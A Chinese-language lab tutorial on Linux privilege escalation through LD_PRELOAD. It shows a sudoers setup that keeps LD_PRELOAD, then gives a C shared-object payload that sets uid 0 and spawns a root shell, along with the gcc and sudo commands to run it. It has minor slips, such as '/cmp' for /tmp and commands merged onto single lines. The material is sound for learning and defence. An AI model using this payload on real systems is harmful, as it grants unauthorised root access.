使用LD_Preload的Linux权限升级技巧
0x00 前言
共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。
0x01 共享库名称
每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。
动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读)
LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的。
想了解更多信息,请阅读此处。
0x02 实验设置
日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo
为此,请按照以下步骤操作:
- 输入visudo打开/etc/sudoers文件
- 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
- 然后添加以下内容作为默认配置来设置LD_preload的环境。
Defaults env_keep += LD_PRELOAD
0x03 权限升级
要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。
让我们在/tmp目录中生成一个C程序文件。
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }
然后将其保存为/cmp中的shell.c
如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles ls -al shell.so sudo LD_PRELOAD=/tmp/shell.so find id whoami
非常好,我们获得了ROOT访问权限。